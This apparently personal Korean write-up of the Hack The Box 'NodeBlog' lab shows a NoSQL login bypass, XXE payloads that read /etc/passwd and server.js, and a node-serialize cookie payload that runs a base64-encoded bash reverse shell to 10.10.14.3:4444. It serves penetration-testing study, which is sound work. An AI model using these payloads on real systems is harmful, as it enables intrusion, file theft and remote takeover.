HTB-NodeBlog Write up

HTB-NodeBlog Write up

in

이런게 Easy 난이도 머신이라니...왜 OSCP를 떨어졌는지 알겠다...

포트스캔

image nmap 결과


NoSQL injection

node.js 를 사용한 blog 웹페이지가 나타난다.
admin/admin 으로 시도 시 로그인이 실패하였지만 Invalid Password가 나타난다.
즉 계정이 없을경우는 Invalid Username이 나오는거 같다.

Untitled 로그인 시도

sql injection을 진행 시 -- 나 # 이 통하지 않아 Invalid Username으로 표시가 된다
nosql , MongoDB sql injection으로 [$ne] 를 사용하여 공격 시 에는 Password가 먹힌다. 즉 nosql중 하나인거같다.

Untitled1 mysql, orcal injection Untitled2 nosql injection

Content-Type을 application/x-www-form-urlencoded 에서 application/json 으로 변경 후 json의 형태로 파라미터를 넘길 시에도 정상적으로 200응답이 오는것을 확인

Untitled json 으로 변경

json 형태로 password가 asd가 아닐경우 를 파라미터로 입력하여 전송 시 성공적으로 로그인이 된다

Untitled1 sql injection Untitled2 로그인 성공


XXE injection

메인 페이지에서 upload기능이 있는데 해당 기능으로 txt 파일 업로드시 XML 파일이 아니여서 업로드가 안된다는 문구가 나타난다.

Untitled3 xml 에러

파일을 업로드 후 넘어가는 응답값을 보면 xml 결과값을 확인 가능

Untitled4 xml 응답값

xml 결과값을 복사 후 xml파일을 생성하여 업로드 시 변조한 입력값으로 페이지가 나오는것을 볼 수 있다.

Untitled6 xml 파일생성 Untitled7 변조한 입력값 표시

xxe injection code를 xml 파일에 넣고 파일 업로드 시 XXE injection 이 먹힘

Untitled5 XXE injection 페이로드

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><post><title>test</title><description>&test;</description><markdown>Example Markdown</markdown></post>

Untitled8 /etc/passwd 파일


node js exploit enum

node js 같은경우는 server.js 파일에 중요정보를 담고 있다.
잘못된 값을 전송 시 응답값에서 에러메시지를 볼 수 있는데 서버 폴더 경로가 노출된다.

Untitled1 서버 경로노출

xxe injection을 사용하여 server.js 코드를 읽을 경우 해당 파일의 정보가 노출됨

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///opt/blog/server.js'>]><post><title>test</title><description>&test;</description><markdown>Example Markdown</markdown></post>

Untitled node-serialize 모듈 발견

server.js에서 node-serialize 를 발견할 수 있는데 searcshploit으로 검색 시 RCE 취약점이 발견된다.

Untitled2 searchsploit

45265.js에서 RCE가 가능한 공격 페이로드 발견

Untitled3 RCE payload

server.js에서 추가로 쿠키에 대한 정보도 얻을 수 있는데 쿠키가 UHC-SecretCookie가 md5로 암호화된 값이 쿠키로 들어가는데 현재 발급받은 쿠키를 확인시 동일한 값으로 나오는것을 확인할 수 있다.

Untitled4 쿠키 정보 확인 Untitled5 쿠키 정보 확인


RCE Exploit

현재 전송되고 있는 쿠키값을 복호화하여 전송 시 이상없이 전송되는것을 확인 가능

Untitled6 Untitled7 쿠키 변조 전송

쿠키값에 획득한 페이로드를 변조하여 전송하였지만 응답값이 나타나지 않는다.

Untitled 응답값 없음

여러가지 시도끝에 값이 나타나는 경우는 싱글쿼터를 더블쿼터로 변경 후 페이로드를 URL 인코딩으로 변조하여 결과값을 넘기면은 정상적으로 RCE공격이 성공하여 응답이 오는것을 확인할 수 있다

Untitled1 RCE 공격 성공


Reverse Shell

리버스쉘 공격코드를 URL 인코딩하여 전송하여도 문자열 필터링 때문인지 공격이 되지 않는다.
찾은 공격방법은 해당 공격코드를 base64로 인코딩 하여야되는데 이떄 +나 특문이 들어가면 안되서 빈값은 스페이스로 채워줘야한다.
이때 스페이스를 -i뒤나 4444 뒤 필요없는 더미값에 들어가줘야함.

Untitled1 Untitled base64 인코딩

해당 명령어를 넣어준 후 URL 인코딩으로 공격 시도 시 서버 쉘을 획득할 수 있음

{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","rce":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMy80NDQ0ICAwPiYx | base64 -d | bash\", function(error, stdout, stderr) { console.log(stdout) });}()"}

Untitled2 Untitled3 리버스쉘 획득